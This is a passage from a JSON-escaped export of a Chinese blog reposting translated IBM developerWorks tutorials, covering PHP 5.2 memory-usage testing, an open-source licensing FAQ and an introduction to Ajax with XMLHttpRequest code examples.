\u0026quot;,\nmemory_get_usage() , \u0026quot;n\u0026lt;br\u0026gt;\u0026quot;;\n$db = mysql_connect(\u0026quot;localhost\u0026quot;, \u0026quot;user\u0026quot;, \u0026quot;password\u0026quot;);\nmysql_select_db(\u0026quot;memory_test\u0026quot;);\necho \u0026quot;After connecting, we're using (in bytes): \u0026quot;,\nmemory_get_usage(),\u0026quot;n\u0026lt;br\u0026gt;\u0026quot;; for ( $x=0; $x\u0026lt;10; $x++ ) {\n$sql =\n\u0026quot;SELECT data FROM leak_test WHERE id='\u0026quot;.$x.\u0026quot;'\u0026quot;; $result = mysql_query($sql); // The operation\n// suspected of leaking.\necho \u0026quot;After query #$x, we're using (in bytes): \u0026quot;,\nmemory_get_usage(), \u0026quot;n\u0026lt;br\u0026gt;\u0026quot;;\nmysql_free_result($result);\necho \u0026quot;After freeing result $x, we're using (in bytes): \u0026quot;,\nmemory_get_usage(), \u0026quot;n\u0026lt;br\u0026gt;\u0026quot;;\n}\nmysql_close($db);\necho \u0026quot;After closing the connection, we're using (in bytes): \u0026quot;,\nmemory_get_usage(), \u0026quot;n\u0026lt;br\u0026gt;\u0026quot;;\necho \u0026quot;Peak memory usage for the script (in bytes):\u0026quot;.\nmemory_get_peak_usage();\n?\u0026gt;\n注：按照定义的时间间隔检查当前内存使用量。在下面的输出中，通过显示我们的脚本一直在为函数分配内存，并且在应当释放的时候没有释放内存，从而提供对内存泄露的实际测试，您可以看到每次调用时内存使用量如何增长。\n清单 7. 测试脚本输出\nAt the start we're using (in bytes): 63216\nAfter connecting, we're using (in bytes): 64436\nAfter query #0, we're using (in bytes): 64760\nAfter freeing result 0, we're using (in bytes): 64828\nAfter query #1, we're using (in bytes): 65004\nAfter freeing result 1, we're using (in bytes): 65080\nAfter query #2, we're using (in bytes): 65160\nAfter freeing result 2, we're using (in bytes): 65204\nAfter query #3, we're using (in bytes): 65284\nAfter freeing result 3, we're using (in bytes): 65328\nAfter query #4, we're using (in bytes): 65408\nAfter freeing result 4, we're using (in bytes): 65452\nAfter query #5, we're using (in bytes): 65532\nAfter freeing result 5, we're using (in bytes): 65576\nAfter query #6, we're using (in bytes): 65656\nAfter freeing result 6, we're using (in bytes): 65700\nAfter query #7, we're using (in bytes): 65780\nAfter freeing result 7, we're using (in bytes): 65824\nAfter query #8, we're using (in bytes): 65904\nAfter freeing result 8, we're using (in bytes): 65948\nAfter query #9, we're using (in bytes): 66028\nAfter freeing result 9, we're using (in bytes): 66072\nAfter closing the connection, we're using (in bytes): 65108\nPeak memory usage for the script (in bytes): 88748\n我们所做的操作是发现了执行脚本时出现的一些可疑操作，然后调整脚本使其给我们提供一些可理解的反馈。我们再次运行了脚本，在每次迭代期间使用 memory_get_usage() 查看内存使用量的变化。根据分配的内存值的增长情况，暗示了我们用脚本在某个位置建立了一个漏洞。由于 mysql_free_result() 函数不释放内存，因此我们可以认为 mysql_query() 并未正确分配内存。\n","permalink":"https://hessian.cn/p/490.html","summary":"2007 年 4 月 10 日\n了解如何使用 PHP V5.2 中引入的新内存管理器并开始精通于跟踪和监视内存使用情况。这将使您可以在 PHP V5.2 中更加有效地使用更多的内存。\nPHP V5.2：开始\n","title":"PHP V5.2 中的新增功能，第 1 部分: 使用新的内存管理器"},{"content":"该 指南将开放源码的所有基础知识放入上下文中，帮助您开始了解当今范围最广的、并且在不断扩大的软件开发的动态领域。developerWorks 的开放源码专区是获得 how-to 信息、工具和项目更新的一个好地方，这些信息有助于您利用开放源码技术进行开发，并将它们与 IBM 产品结合使用。主题区包括 Eclipse、Apache Derby、Apache Geronimo、脚本语言（如 PHP、 Python 文章与Python 教程 和 Perl 文章与 Perl 文章），以及关于 开放源码许可 和开放源码开发的更广泛讨论。\n\u0026nbsp;\n什么是开放源码技术？ 概括地说，开放源码是一种协作。更具体地说，它是软件项目上的公共协作。IBM 在开放源码方面作出了巨大贡献，奉献了 120 多个项目，其中包括耗资超过 10 亿的 Linux® 开发。根据开放源码促进会（Open Source Initiative，OSI）的定义，可将开放源码定义为：“开放源码通过支持源代码的独立同业互查（independent peer review）和快速发展演变提高了软件的可靠性和质量。要通过 OSI 认证，软件必须在获得许可证的情况下发布，该许可证可保证免费读取、重新发布、修改和使用该软件的权利。”\n开放源码还经常应用于个人、组织和公司的民众运动，寻求将这类软件融入主流应用的方法。根据 开放源码促进会 的定义，开放源码由 10 点组成，下面对这 10 点进行了复述。开放源码并不只意味着访问源代码。开放源码软件的发布（distribution）条款必须遵从以下标准：\n1. 免费重新发布\n当软件是几个不同来源的程序集成后的软件发行版本中的其中一个组件时，许可证不能限制任何团体销售或分发该软件，并且不能向这样的销售或分发收取许可费和其他费用。\n2. 源代码\n程序必须包含源代码，并且必须允许以源代码或已编译的形式发布。如程序在发布时未带源代码，则必须以一种非常公开的方式，在不超过合理重造成本的情况下， 让人们获得源代码，例如可以在不收取费用的情况下，放在网络上供人们下载。源代码无疑是编程人员最容易修改程序的形式。不允许故意混乱源代码。也不允许使 用中间形式，比如预处理器或转换器的输出。\n3. 衍生产品\n许可证必须允许修改原产品和衍生产品，并且必须允许在与原始软件相同的授权情况下发布修改过的产品。\n4. 作者的源代码的完整性\n许可证可以禁止他人以修改过的形式发布源代码，只在该许可证基于修改程序的目的时，才允许随源代码发布 “补丁文件”。该许可证必须明确允许发布根据修改过的源代码构建的软件。许可证可能要求衍生产品必须附加不同于原始软件的名称或版本号。\n5. 不得歧视任何人或团体\n许可证不得歧视任何人或任何团体。\n6. 不得歧视程序在任何领域内的使用\n许可证不得禁止任何人在特定领域内使用某一程序。例如，不得禁止程序在商业上的应用，或者在基因研究上的使用。\n7. 许可证的发布\n附加在程序上的权利必须应用于那些使用重新发布的程序的人，无需通过其他人额外加以授权使用。\n8. 许可证不得专属于特定产品\n附属于程序的权利不得仅限于作为特定软件发行版一部分的程序。如果程序衍生自该发行版并以获得该程序的授权的名义被使用或发布，则使用重新发布的该程序的其他所有人应该享有原始软件发行版本中所授予的那些权利。\n9. 许可证不得对其他软件加以限制\n许可证不得对其他随已许可的软件一起发布的软件附加任何限制。例如，不得规定在相同媒体上发布的其他所有程序接受该许可证的限制。\n10. 许可证必须是技术中立的\n任何许可证规定都不可以基于任何单独某项技术或界面风格。\n请参阅 developerWorks 文章 “开放源码许可，第 1 部分: 意图” 和 “开放源码许可，第 2 部分: 学术许可与互惠许可”，以获得额外的信息。 回页首 开放源码技术为什么那么重要？ 开放源码软件最初吸引大多数计算机用户注意的是它的价格。开发源码程序通常是由作者捐献的。不过，零支付成本不是开放源码软件的本质。\n有一些实际的、辨证性的讨论有助于您理解开放源码开发：\n开放源码程序允许开发人员查看代码，看看它是否可以改良，然后用于用户自己的程序中。来自世界各地的贡献者可以贡献和提供翻译、文档、bug 报告和其他形式的帮助。一些想法的免费交换加速了软件的发展。 根据 GNU Manifesto，人们有权利获得计算机程序的人类可读形式。 回页首 什么是 FOSS？ FOSS 指 “免费和开放源码软件”（Free and Open Source Software）。该术语用于那些满足 free 或 open source 中的定义的软件（当不需要对这两个定义进行区分时）。 回页首 开放源码与 “免费啤酒” 和 “自由言论” 有何关系？ 英语单词 \u0026#8220;free\u0026#8221; 在其意思表达上有所取巧，既有自由 的含义，也有免费 的意思，即获取者不需花费任何成本的意思。当开放源码的支持者登上临时演讲台时，他们通常必须对其评论发表一个序言，让听众知道演讲者所指的 \u0026#8220;free\u0026#8221; 是 “自由言论” 中的自由，还是 “免费啤酒” 中的免费，这是一个策略问题。因为任何大学生都可以作报告，所以一些人必须承担酿制啤酒（或软件）的成本，而另一些人则免费享用啤酒（或软件）。 回页首 如何入门开放源码？ 开始开发开放源码软件的决定是一个政治决定和许可决定，至少是一个技术上的决定。请参阅 受支持的开放源码许可证 的 OSI 列表，使您的选择满足您的需求和项目计划。请参阅 developerWorks 文章 “开放源码许可，第 1 部分: 意图” 和 “开放源码许可，第 2 部分: 学术许可与互惠许可”，以获得额外的信息。如果发现现有许可证中的一些条款让您感到迷惑，或者遇到一些问题，那么您可以咨询知识产权方面的专业律师。\n在 2005 年初，开放源码许可证并不像社区所预言的那样杰出，尽管不清楚该预言是否更多的只是一种希望，而非一种预期。 回页首 什么是 LAMP？ LAMP 代表着 Linux、Apache、MySQL 和 PHP。不过，根据您所谈论的对象，P 可能代表着 Perl 或 Python。通常，P 被假定为 PHP。LAMP 还具有更深远的意义。LAMP 代表了创建基于服务器的应用程序的非专有的灵活方式。每个由该术语组成的程序都可以用一个最符合应用程序需要的代用品来替代。每个组件都可以单独升级，尽 管这通常是非常小心地、有计划地进行的。最棒的是，LAMP 中的所有程序都是免费的，或者说既是免费的也是自由的。\ndeveloperWorks 提供了一些极好的关于 Linux、Apache 文章与 Apache 教程、MySQL、PHP、Python 文章与Python 教程 和 Perl 文章与 Perl 文章。 回页首 开放源码是用哪种语言编写的？ 所有语言都可以用来编写开放源码。开放源码背后的技术不是开放源码最重要的元素。最重要的元素是作者的决定，或者是将软件发布为开放源码并使用许多开放源码许可证之一的作者。 回页首 ","permalink":"https://hessian.cn/p/313.html","summary":"该 指南将开放源码的所有基础知识放入上下文中，帮助您开始了解当今范围最广的、并且在不断扩大的软件开发的动态领域。developerWorks 的开放源码专区是获得 how-to 信息、工具和项目更新的一个好地方，这些信息有助于您利用开放源码技术进行开发，并将它们与 IBM 产品结合使用。主题区包括 Eclipse、Apache Derby、Apache Geronimo、脚本语言（如 PHP、 Python 文章与Python 教程 和 Perl 文章与 Perl 文章），以及关于 开放源码许可 和开放源码开发的更广泛讨论。\n","title":"什么是开放源码技术？"},{"content":"五年前，如果不知道 XML，您就是一只无人重视的丑小鸭。十八个月前，Ruby 成了关注的中心，不知道 Ruby 的程序员只能坐冷板凳了。今天，如果想跟上最新的技术时尚，那您的目标就是 Ajax。\n但是，Ajax 不仅仅 是一种时尚，它是一种构建网站的强大方法，而且不像学习一种全新的语言那样困难。\n请访问 Ajax 技术资源中心，这是有关 Ajax 编程模型信息的一站式中心，包括很多文档、教程、论坛、blog、wiki 和新闻。任何新信息都能在这里找到。\n但在详细探讨 Ajax 是什么之前，先让我们花几分钟了解 Ajax 做 什么。目前，编写应用程序时有两种基本的选择：\n桌面应用程序 Web 应用程序 两者是类似的，桌面应用程序通常以 CD 为介质（有时候可从网站下载）并完全安装到您的计算机上。桌面应用程序可能使用互联网下载更新，但运行这些应用程序的代码在桌面计算机上。Web 应用程序运行在某处的 Web 服务器上 \u0026mdash;\u0026mdash; 毫不奇怪，要通过 Web 浏览器访问这种应用程序。\n不过，比这些应用程序的运行代码放在何处更重要的是，应用程序如何运转以及如何与其进行交互。桌面应用程序一般很快（就在您的计算机上运行，不用等 待互联网连接），具有漂亮的用户界面（通常和操作系统有关）和非凡的动态性。可以单击、选择、输入、打开菜单和子菜单、到处巡游，基本上不需要等待。\n另一方面，Web 应用程序是最新的潮流，它们提供了在桌面上不能实现的服务（比如 Amazon.com 和 eBay）。但是，伴随着 Web 的强大而出现的是等待，等待服务器响应，等待屏幕刷新，等待请求返回和生成新的页面。\n显然这样说过于简略了，但基本的概念就是如此。您可能已经猜到，Ajax 尝试建立桌面应用程序的功能和交互性，与不断更新的 Web 应用程序之间的桥梁。可以使用像桌面应用程序中常见的动态用户界面和漂亮的控件，不过是在 Web 应用程序中。\n还等什么呢？我们来看看 Ajax 如何将笨拙的 Web 界面转化成能迅速响应的 Ajax 应用程序吧。\n老技术，新技巧\n在谈到 Ajax 时，实际上涉及到多种技术，要灵活地运用它必须深入了解这些不同的技术（本系列的头几篇文章将分别讨论这些技术）。好消息是您可能已经非常熟悉其中的大部 分技术，更好的是这些技术都很容易学习，并不像完整的编程语言（如 Java 或 Ruby）那样困难。\nAjax 的定义\n顺便说一下，Ajax 是 Asynchronous JavaScript and XML（以及 DHTML 等）的缩写。这个短语是 Adaptive Path 的 Jesse James Garrett 发明的（请参阅 参考资料），按照 Jesse 的解释，这不是 个首字母缩写词。\n下面是 Ajax 应用程序所用到的基本技术：\nHTML 用于建立 Web 表单并确定应用程序其他部分使用的字段。 JavaScript 代码是运行 Ajax 应用程序的核心代码，帮助改进与服务器应用程序的通信。 DHTML 或 Dynamic HTML，用于动态更新表单。我们将使用 div、span 和其他动态 HTML 元素来标记 HTML。 文档对象模型 DOM 用于（通过 JavaScript 代码）处理 HTML 结构和（某些情况下）服务器返回的 XML。 我们来进一步分析这些技术的职责。以后的文章中我将深入讨论这些技术，目前只要熟悉这些组件和技术就可以了。对这些代码越熟悉，就越容易从对这些技术的零散了解转变到真正把握这些技术（同时也真正打开了 Web 应用程序开发的大门）。\nXMLHttpRequest 对象\n要了解的一个对象可能对您来说也是最陌生的，即 XMLHttpRequest。这是一个 JavaScript 对象，创建该对象很简单，如清单 1 所示。\n清单 1. 创建新的 XMLHttpRequest 对象\n\u0026lt;script language=\u0026quot;javascript\u0026quot; type=\u0026quot;text/javascript\u0026quot;\u0026gt;\nvar xmlHttp = new XMLHttpRequest();\n\u0026lt;/script\u0026gt;\n下一期文章中将进一步讨论这个对象，现在要知道这是处理所有服务器通信的对象。继续阅读之前，先停下来想一想：通过 XMLHttpRequest 对象与服务器进行对话的是 JavaScript 技术。这不是一般的应用程序流，这恰恰是 Ajax 的强大功能的来源。\n在一般的 Web 应用程序中，用户填写表单字段并单击 Submit 按钮。然后整个表单发送到服务器，服务器将它转发给处理表单的脚本（通常是 PHP 或 Java，也可能是 CGI 进程或者类似的东西），脚本执行完成后再发送回全新的页面。该页面可能是带有已经填充某些数据的新表单的 HTML，也可能是确认页面，或者是具有根据原来表单中输入数据选择的某些选项的页面。当然，在服务器上的脚本或程序处理和返回新表单时用户必须等待。屏 幕变成一片空白，等到服务器返回数据后再重新绘制。这就是交互性差的原因，用户得不到立即反馈，因此感觉不同于桌面应用程序。\nAjax 基本上就是把 JavaScript 技术和 XMLHttpRequest 对象放在 Web 表单和服务器之间。当用户填写表单时，数据发送给一些 JavaScript 代码而不是 直接发送给服务器。相反，JavaScript 代码捕获表单数据并向服务器发送请求。同时用户屏幕上的表单也不会闪烁、消失或延迟。换句话说，JavaScript 代码在幕后发送请求，用户甚至不知道请求的发出。更好的是，请求是异步发送的，就是说 JavaScript 代码（和用户）不用等待服务器的响应。因此用户可以继续输入数据、滚动屏幕和使用应用程序。\n然后，服务器将数据返回 JavaScript 代码（仍然在 Web 表单中），后者决定如何处理这些数据。它可以迅速更新表单数据，让人感觉应用程序是立即完成的，表单没有提交或刷新而用户得到了新数据。 JavaScript 代码甚至可以对收到的数据执行某种计算，再发送另一个请求，完全不需要用户干预！这就是 XMLHttpRequest 的强大之处。它可以根据需要自行与服务器进行交互，用户甚至可以完全不知道幕后发生的一切。结果就是类似于桌面应用程序的动态、快速响应、高交互性的体验，但是背后又拥有互联网的全部强大力量。\n加入一些 JavaScript\n得到 XMLHttpRequest 的句柄后，其他的 JavaScript 代码就非常简单了。事实上，我们将使用 JavaScript 代码完成非常基本的任务：\n获取表单数据：JavaScript 代码很容易从 HTML 表单中抽取数据并发送到服务器。 修改表单上的数据：更新表单也很简单，从设置字段值到迅速替换图像。 解析 HTML 和 XML：使用 JavaScript 代码操纵 DOM（请参阅 下一节），处理 HTML 表单服务器返回的 XML 数据的结构。 对于前两点，需要非常熟悉 getElementById() 方法，如 清单 2 所示。\n清单 2. 用 JavaScript 代码捕获和设置字段值\n// Get the value of the \u0026quot;phone\u0026quot; field and stuff it in a variable called phone\nvar phone = document.getElementById(\u0026quot;phone\u0026quot;).value;\n// Set some values on a form using an array called response\ndocument.getElementById(\u0026quot;order\u0026quot;).value = response[0];\ndocument.getElementById(\u0026quot;address\u0026quot;).value = response[1];\n这里没有特别需要注意的地方，真是好极了！您应该认识到这里并没有非常复杂的东西。只要掌握了 XMLHttpRequest，Ajax 应用程序的其他部分就是如 清单 2 所示的简单 JavaScript 代码了，混合有少量的 HTML。同时，还要用一点儿 DOM，我们就来看看吧。\n以 DOM 结束\n最后还有 DOM，即文档对象模型。可能对有些读者来说 DOM 有点儿令人生畏，HTML 设计者很少使用它，即使 JavaScript 程序员也不大用到它，除非要完成某项高端编程任务。大量使用 DOM 的是 复杂的 Java 和 C/C++ 程序，这可能就是 DOM 被认为难以学习的原因。\n幸运的是，在 JavaScript 技术中使用 DOM 很容易，也非常直观。现在，按照常规也许应该说明如何使用 DOM，或者至少要给出一些示例代码，但这样做也可能误导您。即使不理会 DOM，仍然能深入地探讨 Ajax，这也是我准备采用的方法。以后的文章将再次讨论 DOM，现在只要知道可能需要 DOM 就可以了。当需要在 JavaScript 代码和服务器之间传递 XML 和改变 HTML 表单的时候，我们再深入研究 DOM。没有它也能做一些有趣的工作，因此现在就把 DOM 放到一边吧。\n回页首 获取 Request 对象\n有了上面的基础知识后，我们来看看一些具体的例子。XMLHttpRequest 是 Ajax 应用程序的核心，而且对很多读者来说可能还比较陌生，我们就从这里开始吧。从 清单 1 可以看出，创建和使用这个对象非常简单，不是吗？等一等。\n还记得几年前的那些讨厌的浏览器战争吗？没有一样东西在不同的浏览器上得到同样的结果。不管您是否相信，这些战争仍然在继续，虽然规模较小。但令人奇怪的是，XMLHttpRequest 成了这场战争的牺牲品之一。因此获得 XMLHttpRequest 对象可能需要采用不同的方法。下面我将详细地进行解释。\n使用 Microsoft 浏览器\nMicrosoft 浏览器 Internet Explorer 使用 MSXML 解析器处理 XML（可以通过 参考资料 进一步了解 MSXML）。因此如果编写的 Ajax 应用程序要和 Internet Explorer 打交道，那么必须用一种特殊的方式创建对象。\n但并不是这么简单。根据 Internet Explorer 中安装的 JavaScript 技术版本不同，MSXML 实际上有两种不同的版本，因此必须对这两种情况分别编写代码。请参阅 清单 3，其中的代码在 Microsoft 浏览器上创建了一个 XMLHttpRequest。\n清单 3. 在 Microsoft 浏览器上创建 XMLHttpRequest 对象\nvar xmlHttp = false;\ntry {\nxmlHttp = new ActiveXObject(\u0026quot;Msxml2.XMLHTTP\u0026quot;);\n} catch (e) {\ntry {\nxmlHttp = new ActiveXObject(\u0026quot;Microsoft.XMLHTTP\u0026quot;);\n} catch (e2) {\nxmlHttp = false;\n}\n}\n您对这些代码可能还不完全理解，但没有关系。当本系列文章结束的时候，您将对 JavaScript 编程、错误处理、条件编译等有更深的了解。现在只要牢牢记住其中的两行代码：\nxmlHttp = new ActiveXObject(\u0026quot;Msxml2.XMLHTTP\u0026quot;);\n和\nxmlHttp = new ActiveXObject(\u0026quot;Microsoft.XMLHTTP\u0026quot;);。\n这两行代码基本上就是尝试使用一个版本的 MSXML 创建对象，如果失败则使用另一个版本创建该对象。不错吧？如果都不成功，则将 xmlHttp 变量设为 false，告诉您的代码出现了问题。如果出现这种情况，可能是因为安装了非 Microsoft 浏览器，需要使用不同的代码。\n处理 Mozilla 和非 Microsoft 浏览器\n如果选择的浏览器不是 Internet Explorer，或者为非 Microsoft 浏览器编写代码，就需要使用不同的代码。事实上就是 清单 1 所示的一行简单代码：\nvar xmlHttp = new XMLHttpRequest object;。\n这行简单得多的代码在 Mozilla、Firefox、Safari、Opera 以及基本上所有以任何形式或方式支持 Ajax 的非 Microsoft 浏览器中，创建了 XMLHttpRequest 对象。\n结合起来\n关键是要支持所有 浏览器。谁愿意编写一个只能用于 Internet Explorer 或者非 Microsoft 浏览器的应用程序呢？或者更糟，要编写一个应用程序两次？当然不！因此代码要同时支持 Internet Explorer 和非 Microsoft 浏览器。清单 4 显示了这样的代码。\n清单 4. 以支持多种浏览器的方式创建 XMLHttpRequest 对象\n/* Create a new XMLHttpRequest object to talk to the Web server */\nvar xmlHttp = false;\n/*@cc_on @*/\n/*@if (@_jscript_version \u0026gt;= 5)\ntry {\nxmlHttp = new ActiveXObject(\u0026quot;Msxml2.XMLHTTP\u0026quot;);\n} catch (e) {\ntry {\nxmlHttp = new ActiveXObject(\u0026quot;Microsoft.XMLHTTP\u0026quot;);\n} catch (e2) {\nxmlHttp = false;\n}\n}\n@end @*/\nif (!xmlHttp \u0026amp;\u0026amp; typeof XMLHttpRequest != 'undefined') {\nxmlHttp = new XMLHttpRequest();\n}\n现在先不管那些注释掉的奇怪符号，如 @cc_on，这是特殊的 JavaScript 编译器命令，将在下一期针对 XMLHttpRequest 的文章中详细讨论。这段代码的核心分为三步：\n建立一个变量 xmlHttp 来引用即将创建的 XMLHttpRequest 对象。 尝试在 Microsoft 浏览器中创建该对象： 尝试使用 Msxml2.XMLHTTP 对象创建它。 如果失败，再尝试 Microsoft.XMLHTTP 对象。 如果仍然没有建立 xmlHttp，则以非 Microsoft 的方式创建该对象。 最后，xmlHttp 应该引用一个有效的 XMLHttpRequest 对象，无论运行什么样的浏览器。\n关于安全性的一点说明\n安全性如何呢？现在浏览器允许用户提高他们的安全等级，关闭 JavaScript 技术，禁用浏览器中的任何选项。在这种情况下，代码无论如何都不会工作。此时必须适当地处理问题，这需要单独的一篇文章来讨论，要放到以后了（这个系列够 长了吧？不用担心，读完之前也许您就掌握了）。现在要编写一段健壮但不够完美的代码，对于掌握 Ajax 来说就很好了。以后我们还将讨论更多的细节。\n回页首 Ajax 世界中的请求/响应\n现在我们介绍了 Ajax，对 XMLHttpRequest 对象以及如何创建它也有了基本的了解。如果阅读得很仔细，您可能已经知道与服务器上的 Web 应用程序打交道的是 JavaScript 技术，而不是直接提交给那个应用程序的 HTML 表单。\n还缺少什么呢？到底如何使用 XMLHttpRequest。因为这段代码非常重要，您编写的每个 Ajax 应用程序都要以某种形式使用它，先看看 Ajax 的基本请求/响应模型是什么样吧。\n发出请求\n您已经有了一个崭新的 XMLHttpRequest 对象，现在让它干点活儿吧。首先需要一个 Web 页面能够调用的 JavaScript 方法（比如当用户输入文本或者从菜单中选择一项时）。接下来就是在所有 Ajax 应用程序中基本都雷同的流程：\n从 Web 表单中获取需要的数据。 建立要连接的 URL。 打开到服务器的连接。 设置服务器在完成后要运行的函数。 发送请求。 清单 5 中的示例 Ajax 方法就是按照这个顺序组织的：\n清单 5. 发出 Ajax 请求\nfunction callServer() {\n// Get the city and state from the web form\nvar city = document.getElementById(\u0026quot;city\u0026quot;).value;\nvar state = document.getElementById(\u0026quot;state\u0026quot;).value;\n// Only go on if there are values for both fields\nif ((city == null) || (city == \u0026quot;\u0026quot;)) return;\nif ((state == null) || (state == \u0026quot;\u0026quot;)) return;\n// Build the URL to connect to\nvar url = \u0026quot;/scripts/getZipCode.php?city=\u0026quot; + escape(city) + \u0026quot;\u0026amp;state=\u0026quot; + escape(state);\n// Open a connection to the server\nxmlHttp.open(\u0026quot;GET\u0026quot;, url, true);\n// Setup a function for the server to run when it's done\nxmlHttp.onreadystatechange = updatePage;\n// Send the request\nxmlHttp.send(null);\n}\n其中大部分代码意义都很明确。开始的代码使用基本 JavaScript 代码获取几个表单字段的值。然后设置一个 PHP 脚本作为链接的目标。要注意脚本 URL 的指定方式，city 和 state（来自表单）使用简单的 GET 参数附加在 URL 之后。\n然后打开一个连接，这是您第一次看到使用 XMLHttpRequest。其中指定了连接方法（GET）和要连接的 URL。最后一个参数如果设为 true，那么将请求一个异步连接（这就是 Ajax 的由来）。如果使用 false，那么代码发出请求后将等待服务器返回的响应。如果设为 true，当服务器在后台处理请求的时候用户仍然可以使用表单（甚至调用其他 JavaScript 方法）。\nxmlHttp（要记住，这是 XMLHttpRequest 对象实例）的 onreadystatechange 属性可以告诉服务器在运行完成 后（可能要用五分钟或者五个小时）做什么。因为代码没有等待服务器，必须让服务器知道怎么做以便您能作出响应。在这个示例中，如果服务器处理完了请求，一个特殊的名为 updatePage() 的方法将被触发。\n最后，使用值 null 调用 send()。因为已经在请求 URL 中添加了要发送给服务器的数据（city 和 state），所以请求中不需要发送任何数据。这样就发出了请求，服务器按照您的要求工作。\n如果没有发现任何新鲜的东西，您应该体会到这是多么简单明了！除了牢牢记住 Ajax 的异步特性外，这些内容都相当简单。应该感激 Ajax 使您能够专心编写漂亮的应用程序和界面，而不用担心复杂的 HTTP 请求/响应代码。\n清单 5 中的代码说明了 Ajax 的易用性。数据是简单的文本，可以作为请求 URL 的一部分。用 GET 而不是更复杂的 POST 发送请求。没有 XML 和要添加的内容头部，请求体中没有要发送的数据；换句话说，这就是 Ajax 的乌托邦。\n不用担心，随着本系列文章的展开，事情会变得越来越复杂。您将看到如何发送 POST 请求、如何设置请求头部和内容类型、如何在消息中编码 XML、如何增加请求的安全性，可以做的工作还有很多！暂时先不用管那些难点，掌握好基本的东西就行了，很快我们就会建立一整套的 Ajax 工具库。\n处理响应\n现在要面对服务器的响应了。现在只要知道两点：\n什么也不要做，直到 xmlHttp.readyState 属性的值等于 4。 服务器将把响应填充到 xmlHttp.responseText 属性中。 其中的第一点，即就绪状态，将在下一篇文章中详细讨论，您将进一步了解 HTTP 请求的阶段，可能比您设想的还多。现在只要检查一个特定的值（4）就可以了（下一期文章中还有更多的值要介绍）。第二点，使用 xmlHttp.responseText 属性获得服务器的响应，这很简单。清单 6 中的示例方法可供服务器根据 清单 5 中发送的数据调用。\n清单 6. 处理服务器响应\nfunction updatePage() {\nif (xmlHttp.readyState == 4) {\nvar response = xmlHttp.responseText;\ndocument.getElementById(\u0026quot;zipCode\u0026quot;).value = response;\n}\n}\n这些代码同样既不难也不复杂。它等待服务器调用，如果是就绪状态，则使用服务器返回的值（这里是用户输入的城市和州的 ZIP 编码）设置另一个表单字段的值。于是包含 ZIP 编码的 zipCode 字段突然出现了，而用户没有按任何按钮！这就是前面所说的桌面应用程序的感觉。快速响应、动态感受等等，这些都只因为有了小小的一段 Ajax 代码。\n细心的读者可能注意到 zipCode 是一个普通的文本字段。一旦服务器返回 ZIP 编码，updatePage() 方法就用城市/州的 ZIP 编码设置那个字段的值，用户就可以改写该值。这样做有两个原因：保持例子简单，说明有时候可能希望 用户能够修改服务器返回的数据。要记住这两点，它们对于好的用户界面设计来说很重要。\n回页首 连接 Web 表单\n还有什么呢？实际上没有多少了。一个 JavaScript 方法捕捉用户输入表单的信息并将其发送到服务器，另一个 JavaScript 方法监听和处理响应，并在响应返回时设置字段的值。所有这些实际上都依赖于调用 第一个 JavaScript 方法，它启动了整个过程。最明显的办法是在 HTML 表单中增加一个按钮，但这是 2001 年的办法，您不这样认为吗？还是像 清单 7 这样利用 JavaScript 技术吧。\n清单 7. 启动一个 Ajax 过程\n\u0026lt;form\u0026gt;\n\u0026lt;p\u0026gt;City: \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;city\u0026quot; id=\u0026quot;city\u0026quot; size=\u0026quot;25\u0026quot; onChange=\u0026quot;callServer();\u0026quot; /\u0026gt;\u0026lt;/p\u0026gt;\n\u0026lt;p\u0026gt;State: \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;state\u0026quot; id=\u0026quot;state\u0026quot; size=\u0026quot;25\u0026quot; onChange=\u0026quot;callServer();\u0026quot; /\u0026gt;\u0026lt;/p\u0026gt;\n\u0026lt;p\u0026gt;Zip Code: \u0026lt;input type=\u0026quot;text\u0026quot; name=\u0026quot;zipCode\u0026quot; id=\u0026quot;city\u0026quot; size=\u0026quot;5\u0026quot; /\u0026gt;\u0026lt;/p\u0026gt;\n\u0026lt;/form\u0026gt;\n如果感觉这像是一段相当普通的代码，那就对了，正是如此！当用户在 city 或 state 字段中输入新的值时，callServer() 方法就被触发，于是 Ajax 开始运行了。有点儿明白怎么回事了吧？好，就是如此！\n回页首 结束语\n现在您可能已经准备开始编写第一个 Ajax 应用程序了，至少也希望认真读一下 参考资料 中的那些文章了吧？但可以首先从这些应用程序如何工作的基本概念开始，对 XMLHttpRequest 对象有基本的了解。在下一期文章中，您将掌握这个对象，学会如何处理 JavaScript 和服务器的通信、如何使用 HTML 表单以及如何获得 DOM 句柄。\n现在先花点儿时间考虑考虑 Ajax 应用程序有多么强大。设想一下，当单击按钮、输入一个字段、从组合框中选择一个选项或者用鼠标在屏幕上拖动时，Web 表单能够立刻作出响应会是什么情形。想一想异步 究竟意味着什么，想一想 JavaScript 代码运行而且不等待 服务器对它的请求作出响应。会遇到什么样的问题？会进入什么样的领域？考虑到这种新的方法，编程的时候应如何改变表单的设计？\n如果在这些问题上花一点儿时间，与简单地剪切/粘贴某些代码到您根本不理解的应用程序中相比，收益会更多。在下一期文章中，我们将把这些概念付诸实践，详细介绍使应用程序按照这种方式工作所需要的代码。因此，现在先享受一下 Ajax 所带来的可能性吧。\n参考资料 学习\n您可以参阅本文在 developerWorks 全球站点上的 英文原文。 您可以参阅 本系列的其他文章。 Ajax 技术资源中心：developerWorks 上所有有关 Ajax 的问题都可以在这里找到解答。 Adaptive Path 是一家领先的用户界面设计公司，仔细阅读他们的网站可以更多地了解 Ajax。 如果关心 Ajax 一词的来历，请看一看 Jesse James Garrett 和他的 Ajax 文章（比如 这一篇）。 可以先了解下一期文章的主题 XMLHttpRequest 对象，请阅读 Using the XML HTTP Request object 这篇文章。 如果使用 Internet Explorer，可以访问 Microsoft Developer Network 的 XML Developer Center。 面向 Java 开发人员的 Ajax: 构建动态的 Java 应用程序（developerWorks，2005 年 9 月）介绍了这种革新方法，它解决了页面重新加载难题，可以创建动态的 Web 应用程序体验。 面向 Java 开发人员的 Ajax: Ajax 的 Java 对象序列化（developerWorks，2005 年 10 月）介绍了在 Ajax 应用程序中对数据进行序列化的五种方法。 通过 PHP 和 Sajax 使用 Ajax，简单 Ajax 工具包如何把服务器端 PHP 与 JavaScript 集成 （developerWorks，2006 年 5 月），这篇教程针对那些对开发丰富 Web 应用程序感兴趣的人，介绍了使用 Ajax 和 PHP 动态更新内容。 使用 AJAX 调用 SOAP Web 服务，第 1 部分: 构建 Web 服务客户机（developerWorks，2006 年 1 月）介绍了如何使用 Ajax 设计模式实现基于 Web 浏览器的 SOAP Web 服务客户机。 XML 问题: 超越 DOM（developerWorks，2005 年 5 